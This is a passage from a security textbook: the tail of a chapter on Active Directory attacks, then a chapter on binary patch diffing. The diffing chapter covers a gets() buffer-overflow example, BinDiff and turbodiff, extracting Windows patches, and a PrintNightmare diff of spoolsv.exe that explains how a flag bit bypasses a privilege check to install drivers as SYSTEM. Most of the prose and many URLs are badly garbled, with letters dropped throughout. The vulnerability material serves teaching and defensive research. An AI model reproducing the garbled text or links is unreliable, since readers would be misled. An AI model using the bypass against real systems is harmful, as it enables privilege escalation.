agig fis; hfo, big abl o co, scala, ad gai domai psisc is
ciical fo succssful aacks. I his chap w lookd a vaious ways o us PowShll
ad C# o dmi ifomaio abou uss, sysms, ad Aciv Dicoy objcs ad
h us ha ifomaio o idify pahs o pivilg scalaio. Oc w scalad
pivilgs boh o h hos ad wihi h domai, w h addd psisc io Aciv
Dicoy o mak su w could kp ou accss. Wih his accomplishd, w ca fl
f o mov houghou h domai o ag ay oh ifomaio w a lookig fo
as pa of ou aack.
For Further Reading

DSInternals GitHub page gihub.com/MichalGaf/DSIals
“Sneaky Active Directory Persistence #14: SID History” adscuiy.og/?p=1772
“Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to
(Re)Gain Domain Admin Rights” adscuiy.og/?p=1906
PowerSploit documentation powsploi.adhdocs.io//las/
PowerSharpPack GitHub gihub.com/S3cu3Th1sSh1/PowShapPack
“Mimikatz DCSync Usage, Exploitation, and Detection” adscuiy.og/?p=1729
“Cracking Kerberos TGS Tickets Using Kerberoast—Exploiting Kerberos to
Compromise the Active Directory Domain” adscuiy.og/?p=2293
GhostPack blog entry by Harmj0y hamj0y./blog/damig/ghospack/
Next-Generation
Patch Exploitation
CHAPTER
18
• Application and patch diffing
• Binary diffing tools
• Patch management process
• Real-world diffing
In spons o h uaiv gowh o vunabiiy sah, h ins v in h
binay diing o pahd vunabiiis oninus o is. Pivay disosd and in-
nay disovd vunabiiis ypiay o imid hnia dais pubiy. Th mo
dais asd, h asi i is o ohs o oa h vunabiiy. Wihou hs dais,
pah diing aows a sah o quiky idniy h od hangs ad o h mii-
gaion o a vunabiiy, whih an somims ad o sussu waponizaion. Th ai-
u o pah quiky in many oganizaions psns a uaiv oppouniy o onsiv
suiy paiions.
Introduction to Binary Diffing

Whn hangs a mad o ompid od suh as ibais, appiaions, and divs, h
da bwn h pahd and unpahd vsions an o an oppouniy o disov
vunabiiis. A is mos basi v, binay diing is h poss o idniying h di-
ns bwn wo vsions o h sam i, suh as vsion .2 and .3. Aguaby, h
mos ommon ag o binay dis a Mioso pahs; howv, his an b appid
o many din yps o ompid od. Vaious oos a avaiab o simpiy h
poss o binay diing, hus quiky aowing an xamin o idniy od hangs
bwn vsions o a disassmbd i.
Application Diffing
Nw vsions o appiaions a ommony asd in an ongoing mann. Th
asoning bhind h as an inud h inoduion o nw aus, od
hangs o suppo nw paoms o kn vsions, vaging nw ompi-im
suiy onos suh as anais o Cono Fow Guad (CFG), and h ixing o
369
370
vunabiiis. On, h nw vsion an inud a ombinaion o h aomn-
iond asoning. Th mo hangs o h appiaion od, h mo diiu i an
b o idniy hos ad o a pahd vunabiiy. Muh o h suss in idni-
ying od hangs ad o vunabiiy ixs is dpndn on imid disosus.
Many oganizaions hoos o as minima inomaion as o h nau o a su-
iy pah. Th mo us w an obain om his inomaion, h mo iky w
a o disov h vunabiiy. I a disosu announmn sas ha h is a
vunabiiy in h handing and possing o JPEG is, and w idniy a hangd
union namd RenderJpegHeaderType, w an in i is ad o h pah. Ths
yps o us wi b shown in a-wod snaios a in h hap.
A simp xamp o a C od snipp ha inuds a vunabiiy is shown h:
/*Unpatched code that includes the unsafe gets() function. */
int get_Name(){
char name[20];
printf("\nPlease state your name: ");
gets(name);
printf("\nYour name is %s.\n\n", name);
return 0;
}
And h’s h pahd od:

/*Patched code that includes the safer fgets() function. */
int get_Name(){
char name[20];
printf("\nPlease state your name: ");
fgets(name, sizeof(name), stdin);
printf("\nYour name is %s.\n\n", name);
return 0;
}
Th pobm wih h is snipp is h us o h gets() union, whih os no
bounds hking, suing in a bu ovow oppouniy. In h pahd od, h
union fgets() is usd, whih quis a siz agumn, hus hping o pvn a bu
ovow. Th fgets() union is onsidd dpad and is iky no h bs hoi
du o is inabiiy o popy hand nu bys, suh as in binay daa; howv, i is a
b hoi han gets() i usd popy. W wi ak a ook a his simp xamp a
on hough h us o a binay diing oo.
Patch Diffing
Suiy pahs, suh as hos om Mioso and Oa, a som o h mos uaiv
ags o binay diing. Mioso has hisoiay had a w-pannd pah manag-
mn poss ha oows a monhy shdu, wh pahs a asd on h sond
Tusday o ah monh. Th is pahd a mos on dynami ink ibais (DLLs)
and div is, hough pny o oh i yps aso iv updas, suh as .x is.
Many oganizaions do no pah hi sysms quiky, aving opn an oppouniy o
aaks and pnaion ss o ompomis hs sysms wih pubiy disosd o
pivay dvopd xpois hough h aid o pah diing. Saing wih Windows 0,
Chapter 18: Next-Generation Patch Exploitation
371
Mioso is muh mo aggssiv wih pahing quimns, making h da o
updas hanging. Dpnding on h ompxiy o h pahd vunabiiy, and h
diiuy in oaing h van od, a woking xpoi an somims b dvopd
quiky in h days o wks oowing h as o h pah. Expois dvopd a
vs-ngining suiy pahs a ommony d o as 1-day or n-day exploits.
This is din om 0-day xpois, wh a pah is unavaiab a h im i is disov-
d in h wid.
As w mov hough his hap, you wi quiky s h bnis o diing od
hangs o divs, ibais, and appiaions. Though no a nw disipin, binay di-
ing has ony oninud o gain h anion o suiy sahs, haks, and vndos
as a viab hniqu o disov vunabiiis and poi. Th pi ag on a -day
xpoi is no ypiay as high as a 0-day xpoi; howv, i is no unommon o s
aaiv payous o highy sough-a xpois. As mos vunabiiis a pivay
disosd wih no pubiy avaiab xpoi, xpoiaion amwok vndos dsi o
PART III
hav mo xpois id o hs pivay disosd vunabiiis han hi ompios.
Binary Diffing Tools

Manuay anayzing h ompid od o ag binais hough h us o a disassmb
suh as h Inaiv Disassmb (IDA) Po o Ghida an b a dauning ask o vn
h mos skid sah. Though h us o y avaiab and ommiay avai-
ab binay diing oos, h poss o zoing in on od o ins ad o a pahd
vunabiiy an b simpiid. Suh oos an sav hundds o hous o im spn
vsing od ha may hav no aion o a sough-a vunabiiy. H a som o
h mos widy known binay diing oos:
• Zynamics BinDiff (free) Aquid by Goog in ay 20, Zynamis BinDi

is avaiab a www.zynamis.om/bindi.hm. I quis a insd vsion o
IDA (o Ghida).
• turbodiff (free) Dvopd by Nioas Eonomou o Co Suiy, ubodi is
avaiab a hps://www.osuiy.om/o-abs/opn-sou-oos/ubodi-
s. I an b usd wih h  vsion o IDA 4.9 o 5.0. I h inks a no
woking, y h: hps://gihub.om/nihius/ubodi.
• DarunGrim/binkit (free) Dvopd by Jong Wook Oh (Ma Oh), DaunGim
is avaiab a hps://gihub.om/ohjongwook/binki. I quis a n insd
vsion o IDA.
• Diaphora (free) Dvopd by Joxan Ko. Diaphoa is avaiab a hps://
gihub.om/joxanko/diaphoa. Ony h mos n vsions o IDA a
oiiay suppod.
Eah o hs oos woks as a pug-in o IDA (o Ghida i nod), using vaious h-
niqus and huisis o dmin h od hangs bwn wo vsions o h sam
i. You may xpin din sus whn using ah oo agains h sam inpu
is. Eah o h oos quis h abiiy o ass IDA Daabas (.idb) is, hn h
372
quimn o a insd vsion o IDA, o h  vsion wih ubodi. Fo h
xamps in his hap, w wi us h ommia BinDi oo as w as ubodi
baus i woks wih h  vsion o IDA 5.0 ha an si b ound onin a vaious
sis, suh as a hps://www.summvm.og/nws/208033/. This aows hos wihou
a ommia vsion o IDA o b ab o omp h xiss. Th ony oos om
h is ha a aivy mainaind a Diaphoa and BinDi. Th auhos o ah o
hs shoud b highy paisd o poviding suh ga oos ha sav us ounss hous
ying o ind od hangs.
BinDiff
As pviousy mniond, in ay 20 Goog aquid h Gman sowa ompany
Zynamis, wih w-known sah Thomas Duin, aso known as Hava Fak,
who svd as h had o sah. Zynamis was widy known o h oos BinDi and
BinNavi, boh o whih aid in vs ngining. A h aquisiion, Goog gay
dud h pi o hs oos o on-nh hi oigina pi, making hm muh
mo assib. In Mah 20, Goog annound ha, going owad, BinDi woud
b . Th poj is aivy mainaind by Chisian Bihmann, wih BinDi 7 bing
h mos n vsion a h im o his wiing. BinDi is on paisd as on o h
bs oos o is kind, poviding dp anaysis o bok and od hangs. As o mid-202,
BinDi suppo o Ghida and Binay Ninja, anoh ga disassmb, was in ba.
BinDi 7 is divd as a Windows Insa Pakag (.msi), Dbian Sowa Pakag
i (.db), o a Ma OS X Disk Imag i (.dmg). Insaaion quis nohing mo
han a w iks, a insd opy o IDA Po, and h quid vsion o h Java Run-
im Envionmn. To us BinDi, you mus aow IDA o pom is auo-anaysis on
h wo is you woud ik o ompa and sav h IDB is. On his is omp,
and wih on o h is opn insid o IDA, you pss ctrl-6 o bing up h BinDi
GUI, as shown h:
Th nx sp is o ik h Di Daabas buon and s h oh IDB i o
h di. Dpnding on h siz o h is, i may ak a minu o wo o inish. On
h di is omp, som nw abs wi appa in IDA, inuding Mahd Funions,
Pimay Unmahd, and Sonday Unmahd. Th Mahd Funions ab onains
373
unions ha xis in boh is, whih may o may no inud hangs. Eah union
is sod wih a vau bwn 0 and .0 in h Simiaiy oumn, as shown nx. Th
ow h vau, h mo h union has hangd bwn h wo is. As sad by
Zynamis/Goog in aion o h Pimay Unmahd and Sonday Unmahd
abs, “Th is on dispays unions ha a onaind in h uny opnd daa-
bas and w no assoiad o any union o h did daabas, whi h Sonday
Unmahd subviw onains unions ha a in h did daabas bu w no
assoiad o any unions in h is.”
PART III
I is impoan o di h o vsions o h i o g h mos aua sus.
Whn going o Mioso ThN o aqui pahs pubishd bo Api 207, you’
s a oumn on h a igh id “Updas Rpad.” Th poss o aquiing pahs
saing in Api 207 is addssd shoy. Going o h URL a ha oaion (Updas
Rpad) aks you o h pvious mos n upda o h i bing pahd. A i
suh as jsip9.d is pahd amos vy monh. I you di a vsion o h i om
sva monhs ai wih a pah ha jus am ou, h numb o dins bwn
h wo is wi mak anaysis vy diiu. Oh is a no pahd vy on, so
iking h aomniond Updas Rpad ink wi ak you o h as upda o
h i in qusion so you an di h pop vsions. On a union o ins is
idniid wih BinDi, a visua di an b gnad ih by igh-iking h dsid
union om h Mahd Funions ab and sing Viw Fowgaphs o by iking
h dsid union and pssing ctrl-e. Th oowing is an xamp o a visua di.
No ha i is no xpd ha you an ad h disassmby baus i is zoomd ou
o i ono h pag.
374
turbodiff
Th oh oo w wi ov in his hap is ubodi. This oo was sd du o is
abiiy o un wih h  vsion o IDA 5.0. DaunGim and Diaphoa a aso ga
oos; howv, a insd opy o IDA is quid o us hm, making i impossib o
hos ading aong o omp h xiss in his hap wihou aady owning o
puhasing a insd opy. DaunGim and Diaphoa a boh us indy and asy o
s up wih IDA. Liau is avaiab o assis wih insaaion and usag (s h “Fo
Fuh Rading” sion a h nd o his hap). Diing oos ha wok wih oh
disassmbs, suh as Ghida, a anoh anaiv.
As pviousy mniond, h ubodi pug-in an b aquid om h hp://
oabs.osuiy.om/ wbsi and is  o downoad and us und h GPLv2
ins. Th as sab as is Vsion .0b_2, asd on Dmb 9, 20.
To us ubodi, you mus oad h wo is o b did on a a im ino IDA. On
IDA has ompd is auo-anaysis o h is i, you pss ctrl-f11 o bing up
h ubodi pop-up mnu. Fom h opions whn you’ is anayzing a i, hoos
“ak ino om his idb” and ik OK. Rpa h sam sps agains h oh i o b
inudd in h di. On his has bn ompd agains boh is o b did, pss
ctrl-f11 again, s h opion “ompa wih…,” and hn s h oh IDB i.
Th oowing window shoud appa.
375
In h agoy oumn you an s abs suh as idnia, suspiious +, suspiious ++,
and hangd. Eah ab has a maning and an hp h xamin zoom in on h mos
insing unions, pimaiy h ons abd suspiious + and suspiious ++. Ths
abs india ha h hksums in on o mo o h boks wihin h sd union
a mismahd, as w as whh o no h numb o insuions has hangd. Whn
you doub-ik a dsid union nam, a visua di is psnd, wih ah union
appaing in is own window, as shown h:
PART III
Lab 18-1: Our First Diff
NOTE Copy the two ELF binary files name and name2 from Lab1 of the
book’s repository and place them in the folder C:\grayhat\app_diff\. You will
need to create the app_diff subfolder. If you do not have a C:\grayhat folder,
you can create one now, or you can use a different location.
In his ab, you wi pom a simp di agains h od pviousy shown in h
“Appiaion Diing” sion. Th ELF binay is nam and nam2 a o b ompad.
Th nam i is h unpahd on, and nam2 is h pahd on. You mus is sa
up h  IDA 5.0 appiaion you pviousy insad. On i is up and unning, go
376
o Fi | Nw, s h Unix ab om h pop-up, and ik h ELF opion on h ,
as shown h, and hn ik OK.
Naviga o you C:\gayha\app_di\ od and s h i “nam.” Ap h
dau opions ha appa. IDA shoud quiky omp is auo-anaysis, dauing o
h main() union in h disassmby window, as shown nx.
377
Pss ctrl-f11 o bing up h ubodi pop-up. I i dos no appa, go bak and
nsu you popy opid ov h nssay is o ubodi. Wih h ubodi win-
dow on h sn, s h opion “ak ino om his idb” and ik OK, oowd by
anoh OK. Nx, go o Fi | Nw, and you wi g a pop-up box asking i you woud
ik o sav h daabas. Ap h daus and ik OK. Rpa h sps o sing
h Unix ab | ELF Exuab, and hn ik OK. Opn up h nam2 ELF binay i
and ap h daus. Rpa h sps o binging up h ubodi pop-up and hoos-
ing h opion “ak ino om his idb.”
Now ha you hav ompd his o boh is, pss ctrl-f11 again, wih h nam2
i si opn in IDA. S h opion “ompa wih…” and ik OK. S h nam
.idb i and ik OK, oowd by anoh OK. Th oowing box shoud appa
(you may hav o so by agoy o pia h xa imag).
PART III
378
No ha h getName() union is abd “suspiious ++.” Doub-ik h
getName() union o g h oowing window:
In his imag, h  window shows h pahd union and h igh window shows
h unpahd union. Th unpahd bok uss h gets() union, whih povids
no bounds hking. Th pahd bok uss h fgets() union, whih quis a siz
agumn o hp pvn bu ovows. Th pahd disassmby is shown h:
mov eax, ds:stdin@@GLIBC_2_0
mov [esp+38h+var_30], eax
mov [esp+38h+var_34], 14h
lea eax, [ebp+var_20]
mov [esp+38h+var_38], eax
call _fgets
Th w a oup o addiiona boks o od wihin h wo unions, bu hy
a whi and inud no hangd od. Thy a simpy h sak-smashing poo
od, whih vaidas sak anais, oowd by h union piog. A his poin, you
hav ompd h ab. Moving owad, w wi ook a a-wod dis.
379
Patch Management Process
Eah vndo has is own poss o disibuing pahs, inuding Oa, Mioso,
and App. Som vndos hav a s shdu as o whn pahs a asd, whas
ohs hav no s shdu. Having an ongoing pah as y, suh as ha usd by
Mioso, aows o hos sponsib o managing a ag numb o sysms o pan
aodingy. Ou-o-band pahs an b pobmai o oganizaions baus h
may no b sous adiy avaiab o o ou h updas. W wi ous pimaiy
on h Mioso pah managmn poss baus i is a mau poss ha is on
agd o h pupos o diing o disov vunabiiis o poi.
Microsoft Patch Tuesday

Th sond Tusday o ah monh is Mioso’s monhy pah y, wih h oa-
siona ou-o-band pah du o a iia upda. Th poss signiiany hangd wih
PART III
h inoduion o Windows 0 umuaiv updas, aking  on Windows 8 as o
Oob 20, as w as a hang in h way pahs a downoadd. Up uni Api
207, a summay and suiy pahs o ah upda oud b ound a hps://hn
.mioso.om/n-us/suiy/buin. Saing in Api 207, pahs a aquid om
h Mioso Suiy ThCn si a hps://www.aaog.upda.mioso.om/
Hom.aspx, wih summay inomaion a hps://ms.mioso.om/upda-guid/
asNo/. Pahs a ommony obaind by using h Windows Upda oo om
h Windows Cono Pan o managd nay by a podu suh as Windows Sv
Upda Svis (WSUS) o Windows Upda o Businss (WUB). Whn pahs a
dsid o diing, hy an b obaind om h aomniond ThN ink, using h
sah synax o (YYYY-MM Buid_Numb Ahiu), suh as “202-07 2H x4.”
Eah pah buin is inkd o mo inomaion abou h upda. Som updas a
h su o a pubiy disovd vunabiiy, whas h majoiy a hough som
om o oodinad piva disosu. Th oowing ink iss h CVE numbs assoi-
ad wih h pahd updas: hps://ms.mioso.om/upda-guid/vunabiiy.
380
Whn you ik h assoiad inks, ony imid inomaion is povidd abou h
vunabiiy. Th mo inomaion povidd, h mo iky somon is quiky ab
o oa h pahd od and podu a woking xpoi. Dpnding on h siz o h
upda and h ompxiy o h vunabiiy, h disovy o h pahd od aon
an b hanging. On, a vunab ondiion is ony hoia, o an ony b
iggd und vy spii ondiions. This an inas h diiuy in dmining
h oo aus and poduing poo-o-onp od ha sussuy iggs h bug.
On h oo aus is dmind and h vunab od is ahd and avaiab o
anaysis in a dbugg, i mus b dmind how diiu i wi b o gain od xu-
ion, i appiab.
Obtaining and Extracting Microsoft Patches

L’s ook a an xamp o aquiing and xaing a umuaiv upda o Windows
0. Whn w ook a h pio is o CVEs o Juy 202, w s ha CVE-202-34527
says, “Windows Pin Spoo Rmo Cod Exuion Vunabiiy.” This is h vu-
nabiiy namd “PinNighma,” as an b sn in h Mioso announmn a
hps://ms.mioso.om/upda-guid/vunabiiy/CVE-202-34527. Th w
vaious pahs asd bwn Jun 202 and Augus 202 and byond. Fo his wak-
hough, w wi downoad h Jun 202 and Juy 202 umuaiv upda o Windows
0 2H x4. Ou goa is o oa h vunab and pahd i assoiad wih Pin-
Nighma and g som iniia inomaion as o how i was od.
W mus is go o hps://www.aaog.upda.mioso.om/Hom.aspx and
n h sah iia o 2021-06 21H1 x64 cumulative. Whn doing his w g
h oowing sus:
381
W wi downoad h i “202-0 Cumuaiv Upda o Windows 0 Vsion
2H o x4-basd Sysms (KB500447).” Nx, w wi hang h sah iia o
2021-07 21H1 x64 cumulative. Th sus a shown nx.
PART III
W wi downoad h i “202-07 Cumuaiv Upda o Windows 0 Vsion 2H
o x4-basd Sysms (KB5004237).” W now hav boh umuaiv updas, whih
shoud inud h is ndd o ook a CVE-202-34527, bu hy mus b xad.
Pahs an b manuay xad using h expand oo om Mioso, inudd on
mos vsions o Windows. Th oo xpands is om a ompssd oma, suh as a
abin i o Mioso Sandaon Upda pakag (MSU). Whn h -F: agumn is
usd o spiy a i, widads a suppod wih h * haa. Th ommand woud
ook somhing ik expand.exe -F:* <file to extract> <destination>. Whn you un
his ommand agains a downoadd umuaiv upda, a Pah Soag Fi (PSF) wih
a .ab xnsion is quiky xad. Th sam expand ommand mus b appid o his
i in od o xa h onns. This wi ak som im o un (iky mo han
0 minus), as h a ypiay ns o housands o ods and is. Fo h sak o
bviy, w wi no div ino h assoiad inna suu and hiahy assoiad
wih pah i innas, xp o hos nssay o quiky g ino pah diing. To
hp spd hings up, w wi us h PahExa oo om Gg Linas, whih maks
us o h expand oo. An updad vsion om Jaim Gig is isd in h “Fo
Fuh Rading” sion and is h vsion usd in his hap.
Th PahExa oo is a PowSh sip ha boh xas h pah i onns
and nay oganizs h is ino vaious ods. In od o us h oo, i is a good ida
o a a dsinaion od as o wh you wan h xad is o b pad. Fo ou
puposs, w wi nam on od “202-0” and a sond od “202-07.” W wi
xa h onns o h Jun 202 upda o h “202-0” od and h onns
o h Juy 202 upda o h “202-07” od. Wih h Jun 202 .msu umuaiv
upda i opid ino h “202-0” od, w un h oowing ommand (nd a
on on in) using a PowSh ISE sssion:
PS C:\grayhat\Chapter 18> ..\PatchExtract.ps1 -PATCH .\windows10.0-kb5004296-
x64_1d54ad8c53ce045b7ad48b0cdb05d618c06198d9.msu -PATH . | Out-Null
382
A his ommand was xud, i ook abou 20 minus o h is o b xad.
Th w aso a w PowSh mssags abou nams aady xising, bu nohing
pvning h pah om bing uy xad. Upon ompion, w a  wih va-
ious ods, inuding JUNK, MSIL, PATCH, WOW4, x4, and x8. Th JUNK
od onains is ha w a no insd in, suh as manis is and suiy aa-
og is. Th PATCH od onains h ag nsd abin is w jus xad. Th
MSIL, WOW4, x4, and x8 ods onain h buk o h paom daa and pah
is in whih w a insd.
Insid h x4 od a ov 2,900 subods, a wih din dsipiv nams,
as sn h:
Insid ah o hs ods a ypiay wo subods, ad “ ” and “,” whih sand
o owad and vs, spivy. Anoh subod nam you may om aoss is
“n,” whih sands o nu. Ths ods inud h da pah is. Th “” od
onains h vs dinia is, h “ ” od onains h owad dinia is,
and h “n” od onains nw is o b addd. I usd o b h as wh h pah
inudd h ni i o b pad, suh as a DLL o div. Mioso hangd o h
da oma in whih h vs dinia i aks h updad i, on insad,
bak o h Ras To Manuauing (RTM) vsion, and h owad dinia aks
383
h i om RTM o wh i nds o b o h un upda.2 I a nw i is addd
o h sysm on Pah Tusday, via h nu od, i oud b onsidd h RTM
vsion. On ha i is pahd duing a subsqun Pah Tusday upda, a owad
dinia an b appid o mak i un. This upda wi aso om wih a vs
dinia i ha an b appid o ak h i bak o h RTM vsion so ha a
uu owad dinia an b appid o oninu o mak i un.
As mniond, on upon a im, Mioso pahs woud inud h ni is o
pa h ons bing pahd; howv, i you ak a ook a h pah is wihin h
 and  ods, you wi quiky noi ha h i siz o h supposd DLLs o divs
is a oo sma o b h ni i. A numb o yas ago, Mioso ad a s o
pah da APIs. Th un API is h MSDELTA API.3 I inuds a s o unions
o pom aions, suh as appying a pah da. Jaim Gig ad a sip ad
“da_pah.py” o uiiz h API in od o appy vs and owad das, whih w
wi us shoy. Th da pah is inud a 4-by CRC32 hksum a h bginning
PART III
o h i, oowd by a magi numb o PA30.3, 4
Bo w mov ono appying pah das, w nd o idniy a i ad o a
pah in whih w a insd. CVE-202-34527 is ad o h “PinNighma”
vunabiiy. In od o dmin whih is w a insd in diing, w nd o
undsand a bi mo abou spooing svis on Windows. Tak a ook a h oowing
imag, om Mioso, whih shows boh oa and mo pin povid omponns:5
Local Remote
Application Windows NT/2000 Windows NT/2000
Client System Server System
GDI Application GDI
printui.dll
Is Output (Print Folder) GDI
Yes
Format Winspool.drv
EMF? Winspool.drv
No winspool.drv (Client) RPC RPC
Printer Spoolsv.exe Spoolsv.exe
Graphics
DLL spoolsv.exe (Server)
Spoolss.dll
Spoolss.dll
spoolss.dll (Router) – or – – or –
Localspl.dll Win32spl.dll
LOCAL PRINT PROVIDER
Localspl.dll
Printer localspl.dll Other Provider
Interface Print Job Creation API Print Queue DLL
DLL Management
API
Job Scheduling API Kernel-Mode Kernel-Mode
Printer
Port Driver Stack Port Driver Stack
Spool
File Job Scheduler Thread
Network Protocol
Local Other Server Printer
Is Output No Printer
Format Language Monitor DLL Network Protocol
Other Server Printer
EMF?
Yes Port Monitor DLL Network Protocol
EMF Remote Printer
Print
Kernel-Mode Port
Processor
Driver Stack
DLL
PRINTER
384
W an s a w andidas o di in h imags, inuding winspoo.dv, spoosv.x,
spoos.d, and oasp.d. Th vunabiiy assoiad wih PinNighma indiad
h ponia o mo od xuion (RCE). In h imag on h igh, w an s an
RPC a o spoosv.x. In ou piminay anaysis, i was dmind ha spoosv.x,
winspoo.dv, and oasp.d a h mos insing ags. W wi sa wih anayz-
ing spoosv.x. Ou nx sp is o appy h pah das o h Jun 202 and Juy
202 updas. W mus idniy a opy o spoosv.x om ou Windows 0 WinSxS
od, appy h assoiad vs da, and hn appy h owad da o ah o h
wo monhs. WinSxS is h Windows sid-by-sid assmby hnoogy. In sho, i is a
way o Windows o manag vaious vsions o DLLs and oh yps o is. Windows
nds a way o pa updad is, whi aso having a way o v bak o od v-
sions i an upda is uninsad. Th ag numb o DLLs and sysm is an bom
ompx o manag. W wi ook hough h WinSxS od o ind a opy o spoosv
.x, and is assoiad vs da pah, in od o ak i bak o RTM. Tak a ook
a h oowing PowSh ommand and assoiad sus:
W an s a spoosv.x i om May 202, aong wih an  od and an  od,
whih inuds h da pah is. W wi a a spoosv od in ou C:\gayha\
Chap 8\ od and hn opy h u spoosv.x i, aong wih h  od and
is onns. This wi aow us o appy h vs da pah, oowd by using h
owad da pah om h Jun 202 and Juy 202 updas o h i, using h
da_pah.py oo.
PS C:\grayhat\Chapter 18> .\delta_patch.py -i .\spoolsv\spoolsv.exe -o .\
spoolsv.2021-06.exe .\spoolsv\r\spoolsv.exe .\2021-06\x64\printing-spooler-
core_10.0.19041.1052\f\spoolsv.exe
Applied 2 patches successfully
Final hash: kXOpI3uCt6K/gNfXD/ZfCaiQl8sy8EcluGHY+vZRX5o=
PS C:\grayhat\Chapter 18> .\delta_patch.py -i .\spoolsv\spoolsv.exe -o .\

spoolsv.2021-07.exe .\spoolsv\r\spoolsv.exe .\2021-07\x64\printing-spooler-
core_10.0.19041.1083\f\spoolsv.exe
Applied 2 patches successfully
Final hash: 0+G8zsSJmi5O1RIHgwYYSA9qNUSc+lFjgcCxryrt7Dg=
385
As you an s, h vs and owad da pahs w appid sussuy. W
now hav h spoosv.x i vsions o boh Jun and Juy. W wi us h BinDi
pug-in o IDA Po o ompa h dins bwn h wo vsions. To do so, w
wi nd o pom h oowing aions:
• Hav IDA pom is auo-anaysis agains boh is.

• Load h Jun vsion ino IDA and pss ctrl-6 o bing up h BinDi mnu.
• Pom h di and anayz h sus.
PART III
In h sus w an s hangs o iv unions, h mova o ou unions
and wo impos, and h addiion o wo nw unions in h pahd vsion
o spoosv.x, as sn in h Sonday Unmahd ab. Th union nam
YRestrictDriverInstallationToAdministrators sounds ik an obvious union o
ins. L’s pom a visua di o h union RpcAddPrinterDriverEx.
386
W an s a ag numb o dins bwn h vsions o h union. Whn
zooming ino h aa owads h op n, w s h oowing:
On h pimay (unpahd) sid is a a o RunningAsLUA, whih is

movd om h sonday (pahd) sid. Th is a nw a o h union
YRestrictDriverInstallationToAdministrators in h pahd vsion. Whn xam-
ining h oss-ns o his nw union, w s wo as. On a is om
RpcAddPrinterDriver, and h oh is om RpcAddPrinterDriverEx. Boh o hs
unions w idniid as having hangs. Th oowing iusaion shows h bok
o od wihin RpcAddPrinterDriverEx wh h is a a o YIsElevationRequired
and YImpersonateClient.
Whn ooking a ah o hs unions, w s a uniqu gisy ky bing assd,
as shown h:
387
Th YIsElevationRequired union hks a ky ad NoWarning-
NoElevationOnInstall, and YRestrictDriverInstallationToAdministrators hks a ky
ad RestrictDriverInstallationToAdministrators.Th un omYIsElevationRequired
is odd in r14 and h un om RestrictDriverInstallationToAdministrators is
odd in r15. L’s ak a ook a h psudood o h RpcAddPrinterDriverEx un-
ion o g a b undsanding o h ow. W a using h Hx-Rays dompi, bu
you oud aso us Ghida o anoh oo.
PART III
Lin 4 shows us ha v6 psns r14, whih wi hod h un om
YIsElevationRequired on in 2. Lin 5 shows us ha v7 psns r15, whih wi
hod h un om YRestrictDriverInstallationToAdministrators on in 22. Lin
2 ss v10 (si) i h us is an adminisao. Th ondiion in in 45 says ha i v6
is s (vaion quid) and not v10 (no an adminisao), hn w and vaiab a3
wih 0x8000, whih is 1000000000000000 in binay. This unss a ag in h 5h bi
posiion o a3 (di) o a 0. Th ondiion in in 48 hn says i v7 is no s (insaaion
no sid o adminisaos) or v10 is s (is an adminisao), a h union
YAddPrinterDriverEx, passing a3 (us-onoab ags) as on o h agumns.
388
I you a, h imag om Mioso o h high-v pin povid ompo-
nns shows an RPC a o h mo spoosv.x poss. In un, xuion hn gos
hough oasp.d pio o going ino Kn mod o ommuniaion wih h aua
pin. Whn ooking a h Expo Addss Tab (EAT) o oasp.d, w an s h
union SplAddPrinterDriverEx. I has bn dompid, as shown h:
Tak a ook a ins 28–33. Vaiab a4 is h sam as vaiab a3 om h
pio psudood dump wih RpcAddPrinterDriverEx, onaining ags. W
an ono his vau, whih in h unpahd vsion o spoosv.x aks h
hks o h assoiad gisy kys (NoWarningNoElevationOnInstall and
RestrictDriverInstallationToAdministrators). W an ivy bypass h a o
ValidateObjectAccess and go saigh o InternalAddPrinterDriverEx. Lin 28 ss
v12 o 0. Lin 29 says i h 5h bi posiion in a4 is no s, hn s v12 o qua ha
o a7, whih iky hangs h vau o v12 om bing a 0. In in 3, i v12 is s (no
zo), hn a ValidateObjectAccess and hk o s i h sedebugprivilege igh is
s. I w an mak i so h 5h bi posiion in a4 is on, hn in in 29 w wi no go
ino h bok and insad a InternalAddPrinterDriverEx. This ivy aows an
aak o bypass h hk and insa a div, aowing o od xuion as h us
NT AUTHORITY\SYSTEM. Th w addiiona indings and ixs si ouing a
h im o his wiing; howv, his is on o h pimay xpoiab bugs.
Summary
This hap inodud binay diing and h vaious oos avaiab o hp spd up
you anaysis. W ookd a a simp appiaion poo-o-onp xamp, and hn w
ookd a a a-wod pah o oa h od hangs, vaida ou assumpions, and
389
viy h ix. This is an aquid ski ha is in osy wih you xpin dbugging
and ading disassmbd od. Th mo you do i, h b you wi b a idniying
od hangs and ponia pahd vunabiiis. I is somims asi o sa wih
ai vsions o buids o Windows, as w as a 32-bi vsion insad o 4-bi vsion,
as h disassmby is on asi o ad. Many bugs span a ag numb o vsions o
Windows. I is no unhad o o Mioso o aso snak in sin od hangs wih
anoh pah. This somims dis bwn vsions o Windows, wh diing on
vsion o Windows may yid mo inomaion han diing anoh vsion.
For Further Reading

BinDiff Manual (Zynamics) www.zynamis.om/bindi/manua/
“DarunGrim: A Patch Analysis and Binary Diffing Tool www.daungim.og
PART III
PatchExtract gis.gihub.om/wumb0/3097d83753b99850b4b5
delta_patch gis.gihub.om/wumb0/9542493959537a02d3998d2553
“Feedback-Driven Binary Code Diversification” (Bart Coppens, Bjorn De Sutter, and
Jonas Maebe) uss.is.ugn.b/~bdsu/sah/pubiaions/203TACOoppns
.pd
“Fight against 1-day exploits: Diffing Binaries vs. Anti-Diffing Binaries” (Jeong Wook
Oh) www.bakha.om/psnaions/bh-usa-09/OH/BHUSA09-Oh-DiingBinais-
PAPER.pd
patchdiff2 (Nicolas Pouvesle) od.goog.om/p/pahdi2/
Back2TheFuture gihub.om/SaBah-Labs/Bak2ThFuu
BLUEHEXAGON threat advisory buhxagon.ai/bog/ha-advisoy-v-202-75-
aka-pinnighma/
References
1. Zynamis, BinDiff Manual, 207, hps://www.zynamis.om/bindi/manua/.
2. Jaim Ondusk  a. “Windows Updas Using Fowad and Rvs Dinias,”
Microsoft 365, Mioso, 2020, hps://dos.mioso.om/n-us/windows/
dpoymn/upda/psxwhipap.
3. Jaim Gig. “Exaing and Diing Windows Pahs in 2020.” wumb0in Full
Atom, 2020, hps://wumb0.in/xaing-and-diing-ms-pahs-in-2020.hm.
4. Mioso. “Us200702053a: In-Da Dpndn Conains o Conn
Divy.” Google Patents, Goog, 200, hps://pans.goog.om/pan/
US200702053.
5. Bay Godn and Amy Viviano. “Loa Pin Povid.” Microsoft Docs,
Mioso, 207, hps://dos.mioso.om/n-us/windows-hadwa/
